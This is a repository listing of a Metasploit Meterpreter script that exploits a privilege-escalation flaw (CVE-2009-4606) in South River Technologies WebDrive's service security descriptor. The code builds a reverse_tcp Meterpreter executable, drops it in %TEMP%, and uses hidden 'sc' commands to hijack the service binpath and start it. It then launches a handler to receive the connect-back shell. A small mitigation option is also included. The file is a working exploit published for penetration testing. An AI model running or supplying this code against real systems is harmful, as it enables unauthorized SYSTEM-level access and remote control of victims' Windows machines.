Statistics
| Revision:

root / scripts / meterpreter / srt_webdrive_priv.rb

History | View | Annotate | Download (4 KB)

1
# $Id: srt_webdrive_priv.rb 8734 2010-03-07 22:49:08Z hdm $
2
3
##
4
# South River Technologies WebDrive Service Bad Security Descriptor Local Privilege Escalation.
5
#
6
#  This module exploits a privilege escalation vulnerability in South River Technologies WebDrive.
7
#  Due to an empty security descriptor, a local attacker can gain elevated privileges.
8
#  Tested on South River Technologies WebDrive 9.02 build 2232 on Microsoft Windows XP SP3.
9
#  Vulnerability mitigation featured.
10
#
11
#  Credit:
12
#   - Discovery                                - Nine:Situations:Group::bellick
13
#   - Meterpreter script        - Trancer
14
#
15
#  References:
16
#   - http://retrogod.altervista.org/9sg_south_river_priv.html
17
#   - http://www.rec-sec.com/2010/01/26/srt-webdrive-privilege-escalation/
18
#   - http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-4606
19
#   - http://osvdb.org/show/osvdb/59080
20
#
21
#  mtrancer[@]gmail.com
22
#  http://www.rec-sec.com
23
##
24
25
#
26
# Options
27
#
28
opts = Rex::Parser::Arguments.new(
29
        "-h"  => [ false,  "This help menu"],
30
        "-m"  => [ false,  "Mitigate"],
31
        "-r"  => [ true,   "The IP of the system running Metasploit listening for the connect back"],
32
        "-p"  => [ true,   "The port on the remote host where Metasploit is listening"]
33
)
34
35
#
36
# Default parameters
37
#
38
39
rhost = Rex::Socket.source_address("1.2.3.4")
40
rport = 4444
41
sname = 'WebDriveService'
42
pname = 'wdService.exe'
43
44
#
45
# Option parsing
46
#
47
opts.parse(args) do |opt, idx, val|
48
        case opt
49
        when "-h"
50
                print_status("South River Technologies WebDrive Service Bad Security Descriptor Local Privilege Escalation.")
51
                print_line(opts.usage)
52
                raise Rex::Script::Completed
53
        when "-m"
54
                client.sys.process.get_processes().each do |m|
55
                        if ( m['name'] == pname )
56
                                print_status("Found vulnerable process #{m['name']} with pid #{m['pid']}.")
57
58
                                # Set correct service security descriptor to mitigate the vulnerability
59
                                print_status("Setting correct security descriptor for the South River Technologies WebDrive Service.")
60
                                client.sys.process.execute("cmd.exe /c sc sdset \"#{sname}\" D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPLOCRRC;;;PU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;SY)", nil, {'Hidden' => 'true'})
61
                        end
62
                end
63
                raise Rex::Script::Completed
64
        when "-r"
65
                rhost = val
66
        when "-p"
67
                rport = val.to_i
68
        end
69
end
70
71
client.sys.process.get_processes().each do |m|
72
        if ( m['name'] == pname )
73
74
                print_status("Found vulnerable process #{m['name']} with pid #{m['pid']}.")
75
76
                # Build out the exe payload.
77
                pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp")
78
                pay.datastore['LHOST'] = rhost
79
                pay.datastore['LPORT'] = rport
80
                raw  = pay.generate
81
82
                exe = Msf::Util::EXE.to_win32pe(client.framework, raw)
83
84
                # Place our newly created exe in %TEMP%
85
                tempdir = client.fs.file.expand_path("%TEMP%")
86
                tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
87
                print_status("Sending EXE payload '#{tempexe}'.")
88
                fd = client.fs.file.new(tempexe, "wb")
89
                fd.write(exe)
90
                fd.close
91
92
                # Stop the vulnerable service
93
                print_status("Stopping service \"#{sname}\"...")
94
                client.sys.process.execute("cmd.exe /c sc stop \"#{sname}\" ", nil, {'Hidden' => 'true'})
95
96
                # Set exe payload as service binpath
97
                print_status("Setting \"#{sname}\" to #{tempexe}...")
98
                client.sys.process.execute("cmd.exe /c sc config \"#{sname}\" binpath= #{tempexe}", nil, {'Hidden' => 'true'})
99
                sleep(1)
100
101
                # Restart the service
102
                print_status("Restarting the \"#{sname}\" service...")
103
                client.sys.process.execute("cmd.exe /c sc start \"#{sname}\" ", nil, {'Hidden' => 'true'})
104
105
                # Our handler to recieve the callback.
106
                handler = client.framework.exploits.create("multi/handler")
107
                handler.datastore['WORKSPACE']      = client.workspace
108
                handler.datastore['PAYLOAD']                 = "windows/meterpreter/reverse_tcp"
109
                handler.datastore['LHOST']                   = rhost
110
                handler.datastore['LPORT']                   = rport
111
                handler.datastore['ExitOnSession']         = false
112
113
                handler.exploit_simple(
114
                        'Payload'        => handler.datastore['PAYLOAD'],
115
                        'RunAsJob'        => true
116
                )
117
118
                # Set service binpath back to normal
119
                client.sys.process.execute("cmd.exe /c sc config \"#{sname}\" binpath= %ProgramFiles%\\WebDrive\\#{pname}", nil, {'Hidden' => 'true'})
120
121
        end
122
end
123